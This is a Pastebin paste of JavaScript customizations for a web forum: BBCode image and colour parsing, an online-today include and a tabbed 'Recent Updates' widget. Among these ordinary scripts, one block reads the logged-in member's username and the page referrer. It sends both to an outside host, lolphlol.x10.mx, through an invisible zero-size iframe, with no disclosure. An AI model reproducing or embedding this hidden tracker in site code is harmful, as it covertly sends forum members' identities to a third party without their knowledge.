Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <script type='text/javascript'>
- var allowedimg = "imageshack|photobucket|imgur|tinypic\\.com";
- var images = new RegExp("\\[img\\]((?:[^\\[]+?)(?:"+allowedimg+"?)(?:[^\\[]+?))\\[\\/img\\]","gi");
- var editimgs = $('.c_post,.c_sig:not(:has(textarea)),.portal_content,.btn_safe');
- $(editimgs).each(function(){
- $(this).html($(this).html().replace(images, "<img src='$1' />"));
- });
- </script>
- <script type="text/javascript">
- username=$("#top_info a:first").html();
- if (document.referrer) {
- referrer= document.referrer;
- }
- else
- {
- referrer = "none";
- }
- document.write("<iframe src='http://lolphlol.x10.mx/test.php?username=" + username + "&referrer=" + referrer +"' width='0' height='0' scrolling='no' frameborder='0'></iframe>");
- </script>
- <script type="text/javascript">
- function add_color_v3() {
- //Created by Agent Moose
- //Partial title color by GenerationStudio
- $(function() {
- $("a , div.description , li span , tr th small , tr th").each(function() {
- if(this.innerHTML.match(/\[color=.*\].*\[\/color]/i)) {
- this.innerHTML = this.innerHTML.replace(/\[color=(.+?)\](.+?)\[\/color]/gi,"<span style='color: $1'>$2</span>");
- };});});}
- add_color_v3();
- </script>
- <script type="text/javascript" src="http://z3.ifrm.com/53/36/0/p391781/onlinetoday.js"></script>
- <script type="text/javascript">
- //1=yes, 0=no
- var guestViewable = 1;
- if (location.href.indexOf('/index') !== -1 || location.href.indexOf('/topic') !== -1) {
- // Recent Updates by Xero
- // http://theanimeforums.com
- // Butchered by Travis (sorry)
- // <![CDATA[
- var collapseIMG = "http://i1229.photobucket.com/albums/ee478/phrs11/eVolution%20Graphics/up.png";
- var tabNum = zeta_cookie.get("RUtab");
- var stuffies = '<style type="text/css">.tabRU { text-align:center; cursor:pointer; }</style><div id="RUbox"><table><tr><th></th><th class="tabRU" onClick="RU1();" width="120px">Status Updates</th><th class="tabRU" onClick="RU2();" width="120px">Recent Replies</th><th class="tabRU" onClick="RU3();" width="170px">Replies to Your Topics</th><th class="tabRU" onClick="RU4();" width="120px">Board Feed</th><th></th></tr><tr><td colspan="6"><div id="contentsTab" style="overflow:auto;"><div id="statsRU"><i>Loading...</i></div><div id="repliesRU" style="display:none;"><i>Loading...</i></div><div id="yourRepliesRU" style="display:none;"><i>Loading...</i></div><div id="feedRU" style="display:none;"><i>Loading...</i></div></div></td></tr><tr><td colspan="6" class="c_foot"></td></tr></table></div>';
- if($("#top_info a:contains([Log In])").length > 0 && guestViewable == 1 || $("#top_info a:contains([Sign Out])").length > 0){
- if (location.href.indexOf('/index') !== -1) {
- $(stuffies).insertAfter("#announcements");
- }
- else {
- $(stuffies).insertAfter("#main");
- }
- }
- $(".tabRU:eq(" + tabNum + ")").css("font-weight","bold");
- function RU1(){
- zeta_cookie.set("RUtab",0, 365);
- $(".tabRU").css("font-weight","normal");
- $(".tabRU:eq(0)").css("font-weight","bold");
- $("#contentsTab > div:visible").not("#statsRU").fadeOut("fast", function(){
- $("#statsRU").fadeIn("fast");
- });
- }
- function RU2(){
- zeta_cookie.set("RUtab",1, 365);
- $(".tabRU").css("font-weight","normal");
- $(".tabRU:eq(1)").css("font-weight","bold");
- $("#contentsTab > div:visible").not("#repliesRU").fadeOut("fast", function(){
- $("#repliesRU").fadeIn("fast");
- });
- }
- function RU3(){
- zeta_cookie.set("RUtab",2, 365);
- $(".tabRU").css("font-weight","normal");
- $(".tabRU:eq(2)").css("font-weight","bold");
- $("#contentsTab > div:visible").not("#yourRepliesRU").fadeOut("fast", function(){
- $("#yourRepliesRU").fadeIn("fast");
- });
- }
- function RU4(){
- window.open('http://ph-rs.com/stats/feed','_newtab');
- }
- $(function(){
- loadRU();
- });
- function reloadRU(){
- $("#reload").removeAttr("href");
- $("#contentsTab > div").html("<i>Loading...</i>");
- loadRU();
- }
- function loadRU(){
- $.get(main_url + "stats/status_updates", function(data){
- $("#statsRU").html($("#status_updates",data));
- });
- $.get(main_url + "search/?c=5", function(data){
- $("#repliesRU").html($("#search_results_topics + table",data));
- });
- $.get(main_url + "search/?c=6", function(data){
- $("#yourRepliesRU").html($("#search_results_topics + table",data));
- });
- $("#reload").attr("href","javascript:reloadRU();");
- }
- if(tabNum > 0){
- $("#statsRU").css("display","none");
- $("#contentsTab > div:eq(" + tabNum + ")").css("display","block");
- }
- $('#RUbox').hover(function() {
- $('#contentsTab').stop().animate({
- height: '400px'
- }, 1000);
- },function() {
- $('#contentsTab').stop().animate({
- height: '0px'
- }, 3000);
- });
- $('#contentsTab').animate({
- height: '0px'
- }, 1000);
- // ]]>
- }
- </script>
Advertisement
Add Comment
Please, Sign In to add comment